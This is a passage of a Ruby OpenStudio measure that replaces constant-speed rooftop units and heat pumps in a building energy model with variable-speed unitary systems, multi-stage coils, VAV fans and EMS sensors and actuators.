object.empty?\r\n \r\n # Report initial condition of model\r\n air_loop_handles = OpenStudio::StringVector.new\r\n air_loop_display_names = OpenStudio::StringVector.new\r\n air_loop_display_names, air_loop_handles = airloop_chooser(model)\r\n runner.registerInitialCondition(\"The building started with #{air_loop_handles.size} constant-speed RTUs.\") \r\n \r\n # Add selected airloops to an array\r\n selected_airloops = [] \r\n if apply_to_all_air_loops == true\r\n #limit all airloops to only those that are appropriate\r\n all_airloops = [] \r\n all_airloops = model.getAirLoopHVACs\r\n all_airloops.each do |airloop|\r\n if air_loop_handles.include? airloop.handle.to_s\r\n selected_airloops << airloop\r\n end\r\n end\r\n if selected_airloops.length == 0\r\n runner.registerAsNotApplicable(\"This measure is not applicable; no variable speed RTUs were added.\")\r\n return true\r\n end\r\n else\r\n selected_airloops << selected_airloop\r\n end\r\n \r\n #add design day counter\r\n dd = model.getDesignDays.size\r\n dd_variable = OpenStudio::Model::EnergyManagementSystemGlobalVariable.new(model, \"DesignDayCounter\")\r\n \r\n # Change HeatPumpAirToAir to VAV on the selected airloops, where applicable\r\n selected_airloops.each do |air_loop|\r\n \r\n changed_cav_to_vav = false\r\n \r\n #Make a new AirLoopHVAC:UnitarySystem object\r\n air_loop_hvac_unitary_system = OpenStudio::Model::AirLoopHVACUnitarySystem.new(model)\r\n air_loop_hvac_unitary_system_cooling = OpenStudio::Model::AirLoopHVACUnitarySystem.new(model)\r\n air_loop_hvac_unitary_system_heating = OpenStudio::Model::AirLoopHVACUnitarySystem.new(model)\r\n #initialize new setpoint managers for heating and cooling coils\r\n setpoint_mgr_cooling = OpenStudio::Model::SetpointManagerSingleZoneReheat.new(model)\r\n setpoint_mgr_heating = OpenStudio::Model::SetpointManagerSingleZoneReheat.new(model)\r\n setpoint_mgr_heating_sup = OpenStudio::Model::SetpointManagerSingleZoneReheat.new(model)\r\n #EMS initialize program\r\n term_zone_handle = nil\r\n term_zone_name = nil\r\n vav_fan_handle = nil\r\n vav_fan_act_handle = nil\r\n #EMS Vent program\r\n cc_handle = nil\r\n hc_handle = nil\r\n # add EMS sensor\r\n cc_name = nil\r\n hc_name = nil\r\n fan_mass_flow_rate_handle = nil\r\n fan_mass_flow_actuator_handle = nil\r\n terminal_actuator_handle = nil\r\n number_of_cooling_speeds = nil\r\n \r\n number_of_heat_coils = 0\r\n number_of_heat_coils = number_heatcoils(air_loop)\r\n runner.registerInfo(\"number of heat coils: #{number_of_heat_coils}\")\r\n \r\n # Identify original AirLoopHVACUnitaryHeatPumpAirToAir\r\n air_loop.supplyComponents.each do |supply_comp| \r\n if supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.is_initialized \r\n existing_fan = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.supplyAirFan\r\n if existing_fan.to_FanConstantVolume.is_initialized\r\n existing_fan = existing_fan.to_FanConstantVolume.get\r\n elsif existing_fan.to_FanOnOff.is_initialized\r\n existing_fan = existing_fan.to_FanOnOff.get\r\n elsif existing_fan.to_FanVariableVolume.is_initialized\r\n existing_fan = existing_fan.to_FanVariableVolume.get\r\n end\r\n runner.registerInfo(\"existing_fan #{existing_fan.to_s}\") \r\n # Preserve characteristics of the original fan\r\n fan_pressure_rise = existing_fan.pressureRise\r\n fan_efficiency = existing_fan.fanEfficiency\r\n motor_efficiency = existing_fan.motorEfficiency\r\n fan_availability_schedule = existing_fan.availabilitySchedule\r\n \r\n existing_cooling_coil = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.coolingCoil\r\n if existing_cooling_coil.to_CoilCoolingDXSingleSpeed.is_initialized\r\n existing_cooling_coil = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.coolingCoil.to_CoilCoolingDXSingleSpeed.get\r\n elsif existing_cooling_coil.to_CoilCoolingDXTwoSpeed.is_initialized\r\n existing_cooling_coil = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.coolingCoil.to_CoilCoolingDXTwoSpeed.get\r\n end\r\n runner.registerInfo(\"existing_cooling_coil #{existing_cooling_coil.to_s}\")\r\n \r\n # Add a new cooling coil object\r\n if cooling_coil_type == \"Two-Stage Compressor\"\r\n new_cooling_coil = OpenStudio::Model::CoilCoolingDXMultiSpeed.new(model)\r\n cc_handle = new_cooling_coil.handle\r\n half_speed_cc_cop = half_cc_eer.to_f/3.412 \r\n new_cooling_coil_data_1 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_1.setGrossRatedCoolingCOP(half_speed_cc_cop.to_f)\r\n rated_speed_cc_cop = rated_cc_eer.to_f/3.412 \r\n new_cooling_coil_data_2 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_2.setGrossRatedCoolingCOP(rated_speed_cc_cop.to_f)\r\n new_cooling_coil.setFuelType(\"Electricity\")\r\n new_cooling_coil.addStage(new_cooling_coil_data_1)\r\n new_cooling_coil.addStage(new_cooling_coil_data_2)\r\n air_loop_hvac_unitary_system_cooling.setCoolingCoil(new_cooling_coil) \r\n # add EMS sensor\r\n cc_handle = new_cooling_coil.handle \r\n cc_name = new_cooling_coil.name \r\n elsif cooling_coil_type == \"Four-Stage Compressor\"\r\n new_cooling_coil = OpenStudio::Model::CoilCoolingDXMultiSpeed.new(model)\r\n quarter_speed_cc_cop = quarter_cc_eer.to_f/3.412\r\n new_cooling_coil_data_1 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_1.setGrossRatedCoolingCOP(quarter_speed_cc_cop.to_f)\r\n half_speed_cc_cop = half_cc_eer.to_f/3.412\r\n new_cooling_coil_data_2 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_2.setGrossRatedCoolingCOP(half_speed_cc_cop.to_f)\r\n three_quarter_speed_cc_cop = three_quarter_cc_eer.to_f/3.412\r\n new_cooling_coil_data_3 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_3.setGrossRatedCoolingCOP(three_quarter_speed_cc_cop.to_f)\r\n rated_speed_cc_cop = rated_cc_eer.to_f/3.412\r\n new_cooling_coil_data_4 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_4.setGrossRatedCoolingCOP(rated_speed_cc_cop.to_f)\r\n new_cooling_coil.setFuelType(\"Electricity\")\r\n new_cooling_coil.addStage(new_cooling_coil_data_1)\r\n new_cooling_coil.addStage(new_cooling_coil_data_2)\r\n new_cooling_coil.addStage(new_cooling_coil_data_3)\r\n new_cooling_coil.addStage(new_cooling_coil_data_4)\r\n air_loop_hvac_unitary_system_cooling.setCoolingCoil(new_cooling_coil)\r\n # add EMS sensor\r\n cc_handle = new_cooling_coil.handle \r\n cc_name = new_cooling_coil.name \r\n end \r\n \r\n existing_heating_coil = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.heatingCoil\r\n if existing_heating_coil.to_CoilHeatingDXSingleSpeed.is_initialized\r\n existing_heating_coil = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.heatingCoil.to_CoilHeatingDXSingleSpeed.get\r\n elsif existing_heating_coil.to_CoilHeatingGas.is_initialized\r\n existing_heating_coil = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.heatingCoil.to_CoilHeatingGas.get\r\n end\r\n runner.registerInfo(\"existing_heating_coil #{existing_heating_coil.to_s}\")\r\n\r\n # Add a new heating coil object\r\n if heating_coil_type == \"Gas Heating Coil\"\r\n new_heating_coil = OpenStudio::Model::CoilHeatingGas.new(model) \r\n new_heating_coil.setGasBurnerEfficiency(rated_hc_gas_efficiency.to_f)\r\n air_loop_hvac_unitary_system.setHeatingCoil(new_heating_coil) \r\n hc_handle = new_heating_coil.handle\r\n hc_name = new_heating_coil.name \r\n elsif heating_coil_type == \"Heat Pump\" && cooling_coil_type == \"Two-Stage Compressor\"\r\n new_heating_coil = OpenStudio::Model::CoilHeatingDXMultiSpeed.new(model)\r\n new_heating_coil_data_1 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_1.setGrossRatedHeatingCOP(half_hc_cop.to_f)\r\n new_heating_coil_data_2 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_2.setGrossRatedHeatingCOP(rated_hc_cop.to_f)\r\n new_heating_coil.setFuelType(\"Electricity\")\r\n new_heating_coil.addStage(new_heating_coil_data_1)\r\n new_heating_coil.addStage(new_heating_coil_data_2)\r\n air_loop_hvac_unitary_system.setHeatingCoil(new_heating_coil)\r\n hc_handle = new_heating_coil.handle\r\n hc_name = new_heating_coil.name\r\n elsif heating_coil_type == \"Heat Pump\" && cooling_coil_type == \"Four-Stage Compressor\"\r\n new_heating_coil = OpenStudio::Model::CoilHeatingDXMultiSpeed.new(model)\r\n new_heating_coil_data_1 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_1.setGrossRatedHeatingCOP(quarter_hc_cop.to_f)\r\n new_heating_coil_data_2 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_2.setGrossRatedHeatingCOP(half_hc_cop.to_f)\r\n new_heating_coil_data_3 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_3.setGrossRatedHeatingCOP(three_quarter_hc_cop.to_f)\r\n new_heating_coil_data_4 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_4.setGrossRatedHeatingCOP(rated_hc_cop.to_f)\r\n new_heating_coil.setFuelType(\"Electricity\")\r\n new_heating_coil.addStage(new_heating_coil_data_1)\r\n new_heating_coil.addStage(new_heating_coil_data_2)\r\n new_heating_coil.addStage(new_heating_coil_data_3)\r\n new_heating_coil.addStage(new_heating_coil_data_4)\r\n air_loop_hvac_unitary_system.setHeatingCoil(new_heating_coil)\r\n hc_handle = new_heating_coil.handle\r\n hc_name = new_heating_coil.name\r\n end \r\n \r\n supplementalHeat = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.supplementalHeatingCoil\r\n if supplementalHeat.to_CoilHeatingElectric.is_initialized\r\n number_of_heat_coils = 2\r\n runner.registerInfo(\"setting number of heat coils to 2:\")\r\n supplementalHeat = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.supplementalHeatingCoil.to_CoilHeatingElectric.get\r\n air_loop_hvac_unitary_system_heating.setHeatingCoil(supplementalHeat)\r\n runner.registerInfo(\"supplementalHeat #{air_loop_hvac_unitary_system_heating.heatingCoil.get.to_s}\")\r\n #set heatpump supplemental to a temp coil\r\n temp = OpenStudio::Model::CoilHeatingGas.new(model)\r\n supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.setSupplementalHeatingCoil(temp)\r\n elsif supplementalHeat.to_CoilHeatingGas.is_initialized\r\n number_of_heat_coils = 2\r\n runner.registerInfo(\"setting number of heat coils to 2:\")\r\n supplementalHeat = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.supplementalHeatingCoil.to_CoilHeatingGas.get\r\n air_loop_hvac_unitary_system_heating.setHeatingCoil(supplementalHeat)\r\n runner.registerInfo(\"supplementalHeat #{air_loop_hvac_unitary_system_heating.heatingCoil.get.to_s}\")\r\n #set heatpump supplemental to a temp coil\r\n temp = OpenStudio::Model::CoilHeatingGas.new(model)\r\n supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.setSupplementalHeatingCoil(temp)\r\n end\r\n runner.registerInfo(\"supplementalHeat #{supplementalHeat.to_s}\")\r\n \r\n # Get the previous and next components on the loop \r\n prev_node = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.inletModelObject.get.to_Node.get \r\n next_node = supply_comp.to_AirLoopHVACUnitaryHeatPumpAirToAir.get.outletModelObject.get.to_Node.get\r\n runner.registerInfo(\"prev_node #{prev_node.to_s}\")\r\n # Make the new vav_fan and transfer existing parameters to it\r\n vav_fan = OpenStudio::Model::FanVariableVolume.new(model, model.alwaysOnDiscreteSchedule)\r\n vav_fan.setPressureRise(fan_pressure_rise)\r\n vav_fan.setFanEfficiency(fan_efficiency)\r\n vav_fan.setMotorEfficiency(motor_efficiency)\r\n vav_fan.setAvailabilitySchedule(fan_availability_schedule)\r\n \r\n ems_fan_internal = OpenStudio::Model::EnergyManagementSystemInternalVariable.new(model, \"Fan Maximum Mass Flow Rate\")\r\n ems_fan_internal.setName(\"#{vav_fan.name}_mass_flow_rate\")\r\n ems_fan_internal.setInternalDataIndexKeyName(\"#{vav_fan.name}\")\r\n fan_mass_flow_rate_handle = ems_fan_internal.handle\r\n \r\n fan_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(vav_fan,\"Fan\",\"Fan Air Mass Flow Rate\") \r\n fan_actuator.setName(\"#{vav_fan.name}_mass_flow_actuator\") \r\n fan_mass_flow_actuator_handle = fan_actuator.handle\r\n #Add Fan to EMS init program\r\n \t vav_fan_handle = vav_fan.handle\r\n vav_fan_act_handle = fan_actuator.handle\r\n \t\r\n # Remove the supply fan\r\n existing_fan.remove\r\n # Remove the existing cooling coil.\r\n existing_cooling_coil.remove \r\n # Remove the existing heating coil.\r\n existing_heating_coil.remove\r\n # Remove the existing heatpump\r\n supply_comp.remove\r\n \r\n # Get back the remaining node\r\n remaining_node = nil\r\n if prev_node.outletModelObject.is_initialized\r\n remaining_node = prev_node\r\n elsif next_node.inletModelObject.is_initialized\r\n remaining_node = next_node\r\n end\r\n \r\n # Add a new AirLoopHVAC:UnitarySystem object to the node where the old fan was\r\n if remaining_node.nil?\r\n runner.registerError(\"Couldn't add the new AirLoopHVAC:UnitarySystem object to the loop after removing existing CAV fan.\")\r\n return false\r\n else\r\n air_loop_hvac_unitary_system.addToNode(remaining_node)\r\n air_loop_hvac_unitary_system_heating.addToNode(remaining_node) \r\n air_loop_hvac_unitary_system_cooling.addToNode(remaining_node) \r\n end\r\n \r\n # Change the unitary system control type to setpoint to enable the VAV fan to ramp down.\r\n air_loop_hvac_unitary_system.setString(2,\"Setpoint\")\r\n air_loop_hvac_unitary_system_cooling.setString(2,\"Setpoint\") \r\n air_loop_hvac_unitary_system_heating.setString(2,\"Setpoint\")\r\n # Add the VAV fan to the AirLoopHVAC:UnitarySystem object\r\n air_loop_hvac_unitary_system.setSupplyFan(vav_fan)\r\n \r\n # Set the AirLoopHVAC:UnitarySystem fan placement\r\n air_loop_hvac_unitary_system.setFanPlacement(\"BlowThrough\")\r\n \r\n # Set the AirLoopHVAC:UnitarySystem Supply Air Fan Operating Mode Schedule\r\n air_loop_hvac_unitary_system.setSupplyAirFanOperatingModeSchedule(model.alwaysOnDiscreteSchedule)\r\n\r\n #let the user know that a change was made\r\n changed_cav_to_vav = true\r\n runner.registerInfo(\"AirLoop '#{air_loop.name}' was changed to VAV\")\r\n \r\n end #end orig fan\r\n end #next supply component\r\n \r\n # Find CAV/OnOff fan and replace with VAV fan\r\n air_loop.supplyComponents.each do |supply_comp| \r\n # Identify original fan from loop\r\n found_fan = false\r\n if supply_comp.to_FanConstantVolume.is_initialized\r\n existing_fan = supply_comp.to_FanConstantVolume.get\r\n found_fan = true\r\n elsif supply_comp.to_FanOnOff.is_initialized \r\n existing_fan = supply_comp.to_FanOnOff.get\r\n found_fan = true\r\n end \r\n if found_fan == true \r\n # Preserve characteristics of the original fan\r\n fan_pressure_rise = existing_fan.pressureRise\r\n fan_efficiency = existing_fan.fanEfficiency\r\n motor_efficiency = existing_fan.motorEfficiency\r\n fan_availability_schedule = existing_fan.availabilitySchedule\r\n \r\n # Get the previous and next components on the loop \r\n prev_node = existing_fan.inletModelObject.get.to_Node.get \r\n next_node = existing_fan.outletModelObject.get.to_Node.get\r\n \r\n # Make the new vav_fan and transfer existing parameters to it\r\n vav_fan = OpenStudio::Model::FanVariableVolume.new(model, model.alwaysOnDiscreteSchedule)\r\n vav_fan.setPressureRise(fan_pressure_rise)\r\n vav_fan.setFanEfficiency(fan_efficiency)\r\n vav_fan.setMotorEfficiency(motor_efficiency)\r\n vav_fan.setAvailabilitySchedule(fan_availability_schedule)\r\n \r\n ems_fan_internal = OpenStudio::Model::EnergyManagementSystemInternalVariable.new(model, \"Fan Maximum Mass Flow Rate\")\r\n ems_fan_internal.setName(\"#{vav_fan.name}_mass_flow_rate\")\r\n ems_fan_internal.setInternalDataIndexKeyName(\"#{vav_fan.name}\")\r\n fan_mass_flow_rate_handle = ems_fan_internal.handle\r\n \r\n fan_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(vav_fan,\"Fan\",\"Fan Air Mass Flow Rate\") \r\n fan_actuator.setName(\"#{vav_fan.name}_mass_flow_actuator\") \r\n fan_mass_flow_actuator_handle = fan_actuator.handle\r\n #Add Fan to EMS init program \r\n \t vav_fan_handle = vav_fan.handle\r\n vav_fan_act_handle = fan_actuator.handle\r\n \r\n # Remove the supply fan\r\n existing_fan.remove\r\n \r\n # Get back the remaining node\r\n remaining_node = nil\r\n if prev_node.outletModelObject.is_initialized\r\n remaining_node = prev_node\r\n elsif next_node.inletModelObject.is_initialized\r\n remaining_node = next_node\r\n end\r\n \r\n # Add a new AirLoopHVAC:UnitarySystem object to the node where the old fan was\r\n if remaining_node.nil?\r\n runner.registerError(\"Couldn't add the new AirLoopHVAC:UnitarySystem object to the loop after removing existing CAV fan.\")\r\n return false\r\n else\r\n air_loop_hvac_unitary_system.addToNode(remaining_node)\r\n air_loop_hvac_unitary_system_heating.addToNode(remaining_node)\r\n air_loop_hvac_unitary_system_cooling.addToNode(remaining_node) \r\n end\r\n \r\n # Change the unitary system control type to setpoint to enable the VAV fan to ramp down.\r\n air_loop_hvac_unitary_system.setString(2,\"Setpoint\")\r\n air_loop_hvac_unitary_system_cooling.setString(2,\"Setpoint\") \r\n air_loop_hvac_unitary_system_heating.setString(2,\"Setpoint\")\r\n # Add the VAV fan to the AirLoopHVAC:UnitarySystem object\r\n air_loop_hvac_unitary_system.setSupplyFan(vav_fan)\r\n \r\n # Set the AirLoopHVAC:UnitarySystem fan placement\r\n air_loop_hvac_unitary_system.setFanPlacement(\"BlowThrough\")\r\n \r\n # Set the AirLoopHVAC:UnitarySystem Supply Air Fan Operating Mode Schedule\r\n air_loop_hvac_unitary_system.setSupplyAirFanOperatingModeSchedule(model.alwaysOnDiscreteSchedule)\r\n\r\n #let the user know that a change was made\r\n changed_cav_to_vav = true\r\n runner.registerInfo(\"AirLoop '#{air_loop.name}' was changed to VAV\")\r\n \r\n end #end orig fan\r\n\r\n \r\n # Move the cooling coil to the AirLoopHVAC:UnitarySystem object\r\n if supply_comp.to_CoilCoolingDXTwoSpeed.is_initialized || supply_comp.to_CoilCoolingDXSingleSpeed.is_initialized\r\n #if supply_comp.to_CoilCoolingDXTwoSpeed.is_initialized\r\n # existing_cooling_coil = supply_comp.to_CoilCoolingDXTwoSpeed.get\r\n #elsif supply_comp.to_CoilCoolingDXSingleSpeed.is_initialized\r\n # existing_cooling_coil = supply_comp.to_CoilCoolingDXSingleSpeed.get\r\n #end\r\n existing_cooling_coil = supply_comp\r\n # Remove the existing heating coil.\r\n #existing_cooling_coil.remove\r\n \r\n # Add a new cooling coil object\r\n if cooling_coil_type == \"Two-Stage Compressor\"\r\n new_cooling_coil = OpenStudio::Model::CoilCoolingDXMultiSpeed.new(model)\r\n half_speed_cc_cop = half_cc_eer.to_f/3.412 \r\n new_cooling_coil_data_1 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_1.setGrossRatedCoolingCOP(half_speed_cc_cop.to_f)\r\n rated_speed_cc_cop = rated_cc_eer.to_f/3.412 \r\n new_cooling_coil_data_2 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_2.setGrossRatedCoolingCOP(rated_speed_cc_cop.to_f)\r\n new_cooling_coil.setFuelType(\"Electricity\")\r\n new_cooling_coil.addStage(new_cooling_coil_data_1)\r\n new_cooling_coil.addStage(new_cooling_coil_data_2)\r\n air_loop_hvac_unitary_system_cooling.setCoolingCoil(new_cooling_coil) \r\n # add EMS sensor\r\n cc_handle = new_cooling_coil.handle \r\n cc_name = new_cooling_coil.name \r\n elsif cooling_coil_type == \"Four-Stage Compressor\"\r\n new_cooling_coil = OpenStudio::Model::CoilCoolingDXMultiSpeed.new(model)\r\n quarter_speed_cc_cop = quarter_cc_eer.to_f/3.412\r\n new_cooling_coil_data_1 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_1.setGrossRatedCoolingCOP(quarter_speed_cc_cop.to_f)\r\n half_speed_cc_cop = half_cc_eer.to_f/3.412\r\n new_cooling_coil_data_2 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_2.setGrossRatedCoolingCOP(half_speed_cc_cop.to_f)\r\n three_quarter_speed_cc_cop = three_quarter_cc_eer.to_f/3.412\r\n new_cooling_coil_data_3 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_3.setGrossRatedCoolingCOP(three_quarter_speed_cc_cop.to_f)\r\n rated_speed_cc_cop = rated_cc_eer.to_f/3.412\r\n new_cooling_coil_data_4 = OpenStudio::Model::CoilCoolingDXMultiSpeedStageData.new(model)\r\n new_cooling_coil_data_4.setGrossRatedCoolingCOP(rated_speed_cc_cop.to_f)\r\n new_cooling_coil.setFuelType(\"Electricity\")\r\n new_cooling_coil.addStage(new_cooling_coil_data_1)\r\n new_cooling_coil.addStage(new_cooling_coil_data_2)\r\n new_cooling_coil.addStage(new_cooling_coil_data_3)\r\n new_cooling_coil.addStage(new_cooling_coil_data_4)\r\n air_loop_hvac_unitary_system_cooling.setCoolingCoil(new_cooling_coil)\r\n # add EMS sensor\r\n cc_handle = new_cooling_coil.handle \r\n cc_name = new_cooling_coil.name \r\n end \r\n end #end cooling coil\r\n \r\n #only look for electric heat if there are more than 1 heat coils\r\n if number_of_heat_coils == 2\r\n if supply_comp.to_CoilHeatingElectric.is_initialized\r\n #its a supplemental coil\r\n supplementalHeat = supply_comp.to_CoilHeatingElectric.get\r\n air_loop_hvac_unitary_system_heating.setHeatingCoil(supplementalHeat)\r\n end\r\n end\r\n # Move the heating coil to the AirLoopHVAC:UnitarySystem object\r\n if supply_comp.to_CoilHeatingGas.is_initialized || supply_comp.to_CoilHeatingDXSingleSpeed.is_initialized\r\n #check if heating coil is supplemental\r\n is_supp = 0\r\n if supply_comp.to_CoilHeatingGas.is_initialized\r\n if number_of_heat_coils == 2\r\n if supply_comp.to_CoilHeatingGas.get.name.to_s.include? \"Backup\"\r\n is_supp = 1\r\n end \r\n end\r\n end\r\n if is_supp == 1\r\n #its a supplemental coil\r\n supplementalHeat = supply_comp.to_CoilHeatingGas.get\r\n air_loop_hvac_unitary_system_heating.setHeatingCoil(supplementalHeat)\r\n else\r\n # Add a new heating coil object\r\n if heating_coil_type == \"Gas Heating Coil\"\r\n new_heating_coil = OpenStudio::Model::CoilHeatingGas.new(model) \r\n hc_handle = new_heating_coil.handle \r\n hc_name = new_heating_coil.name \r\n new_heating_coil.setGasBurnerEfficiency(rated_hc_gas_efficiency.to_f)\r\n air_loop_hvac_unitary_system.setHeatingCoil(new_heating_coil) \r\n elsif heating_coil_type == \"Heat Pump\" && cooling_coil_type == \"Two-Stage Compressor\"\r\n new_heating_coil = OpenStudio::Model::CoilHeatingDXMultiSpeed.new(model)\r\n hc_handle = new_heating_coil.handle\r\n hc_name = new_heating_coil.name\r\n new_heating_coil_data_1 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_1.setGrossRatedHeatingCOP(half_hc_cop.to_f)\r\n new_heating_coil_data_2 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_2.setGrossRatedHeatingCOP(rated_hc_cop.to_f)\r\n new_heating_coil.setFuelType(\"Electricity\")\r\n new_heating_coil.addStage(new_heating_coil_data_1)\r\n new_heating_coil.addStage(new_heating_coil_data_2)\r\n air_loop_hvac_unitary_system.setHeatingCoil(new_heating_coil)\r\n elsif heating_coil_type == \"Heat Pump\" && cooling_coil_type == \"Four-Stage Compressor\"\r\n new_heating_coil = OpenStudio::Model::CoilHeatingDXMultiSpeed.new(model)\r\n hc_handle = new_heating_coil.handle\r\n hc_name = new_heating_coil.name\r\n new_heating_coil_data_1 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_1.setGrossRatedHeatingCOP(quarter_hc_cop.to_f)\r\n new_heating_coil_data_2 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_2.setGrossRatedHeatingCOP(half_hc_cop.to_f)\r\n new_heating_coil_data_3 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_3.setGrossRatedHeatingCOP(three_quarter_hc_cop.to_f)\r\n new_heating_coil_data_4 = OpenStudio::Model::CoilHeatingDXMultiSpeedStageData.new(model)\r\n new_heating_coil_data_4.setGrossRatedHeatingCOP(rated_hc_cop.to_f)\r\n new_heating_coil.setFuelType(\"Electricity\")\r\n new_heating_coil.addStage(new_heating_coil_data_1)\r\n new_heating_coil.addStage(new_heating_coil_data_2)\r\n new_heating_coil.addStage(new_heating_coil_data_3)\r\n new_heating_coil.addStage(new_heating_coil_data_4)\r\n air_loop_hvac_unitary_system.setHeatingCoil(new_heating_coil)\r\n end \r\n end #is_supp\r\n end #end heating coil\r\n \r\n end #next supply component\r\n #remove supplemental unitary system if not needed\r\n if number_of_heat_coils < 2\r\n air_loop_hvac_unitary_system_heating.remove\r\n end\r\n #OA node deletion fix\r\n air_loop.supplyComponents.each do |supply_comp|\r\n if supply_comp.to_CoilCoolingDXTwoSpeed.is_initialized || supply_comp.to_CoilCoolingDXSingleSpeed.is_initialized\r\n existing_cooling_coil = supply_comp\r\n # Remove the existing cooling coil.\r\n existing_cooling_coil.remove \r\n end\r\n if supply_comp.to_CoilHeatingGas.is_initialized || supply_comp.to_CoilHeatingDXSingleSpeed.is_initialized || supply_comp.to_CoilHeatingElectric.is_initialized\r\n existing_heating_coil = supply_comp\r\n # Remove the existing heating coil.\r\n existing_heating_coil.remove \r\n end\r\n end\r\n\r\n # Find the supply outlet node for the current AirLoop\r\n airloop_outlet_node = air_loop.supplyOutletNode\r\n \r\n # Identify if there is a setpoint manager on the AirLoop outlet node\r\n if airloop_outlet_node.setpointManagers.size >0\r\n setpoint_manager = airloop_outlet_node.setpointManagers[0]\r\n setpoint_manager = setpoint_manager.to_SetpointManagerSingleZoneReheat.get\r\n runner.registerInfo(\"Setpoint manager on node '#{airloop_outlet_node.name}' is '#{setpoint_manager.name}'.\") \r\n setpoint_mgr_cooling.setMaximumSupplyAirTemperature(setpoint_manager.maximumSupplyAirTemperature)\r\n setpoint_mgr_cooling.setMinimumSupplyAirTemperature(setpoint_manager.minimumSupplyAirTemperature)\r\n setpoint_mgr_heating.setMaximumSupplyAirTemperature(setpoint_manager.maximumSupplyAirTemperature)\r\n setpoint_mgr_heating.setMinimumSupplyAirTemperature(setpoint_manager.minimumSupplyAirTemperature)\r\n setpoint_manager.remove\r\n else\r\n runner.registerInfo(\"No setpoint manager on node '#{airloop_outlet_node.name}'.\")\r\n end\r\n #attach setpoint managers now that everything else is deleted\r\n setpoint_mgr_heating.addToNode(air_loop_hvac_unitary_system.airOutletModelObject.get.to_Node.get)\r\n if number_of_heat_coils == 2\r\n setpoint_mgr_heating_sup.addToNode(air_loop_hvac_unitary_system_heating.airOutletModelObject.get.to_Node.get)\r\n end\r\n setpoint_mgr_cooling.addToNode(air_loop_hvac_unitary_system_cooling.airOutletModelObject.get.to_Node.get)\r\n \r\n # Set the controlling zone location to the zone on the airloop\r\n air_loop.demandComponents.each do |demand_comp|\r\n if demand_comp.to_AirTerminalSingleDuctUncontrolled.is_initialized \r\n\t\r\n \t terminal_obj = demand_comp.to_AirTerminalSingleDuctUncontrolled.get\r\n #add EMS Actuator\r\n \t terminal_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(terminal_obj,\"AirTerminal:SingleDuct:Uncontrolled\",\"Mass Flow Rate\") \r\n terminal_actuator.setName(\"#{terminal_obj.name.to_s.gsub('-','_')}_mass_flow_actuator\") \r\n terminal_actuator_handle = terminal_actuator.handle \r\n # Record the zone that the terminal unit is in.\r\n # If zone cannot be determined, skip to next demand component\r\n # and warn user that this the associated zone could not be found\r\n term_zone = nil\r\n model.getThermalZones.each do |zone|\r\n zone.equipment.each do |equip|\r\n if equip == terminal_obj\r\n term_zone = zone\r\n end\r\n end\r\n end\r\n if term_zone.nil?\r\n runner.registerWarning(\"Could not determine the zone for terminal '#{new_vav_terminal.name}', cannot assign to AirLoopHVAC:UnitarySystem object.\")\r\n next\r\n else\r\n # Associate the zone with the AirLoopHVAC:UnitarySystem object and setpoint managers\r\n air_loop_hvac_unitary_system.setControllingZoneorThermostatLocation(term_zone)\r\n air_loop_hvac_unitary_system_cooling.setControllingZoneorThermostatLocation(term_zone)\r\n setpoint_mgr_cooling.setControlZone(term_zone)\r\n setpoint_mgr_heating.setControlZone(term_zone)\r\n setpoint_mgr_heating_sup.setControlZone(term_zone)\r\n #Add Zone to EMS init program\r\n term_zone_handle = term_zone.handle\r\n term_zone_name = term_zone.name\r\n end\r\n end \r\n end\r\n \r\n # add EMS sensor\r\n cc_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"Cooling Coil 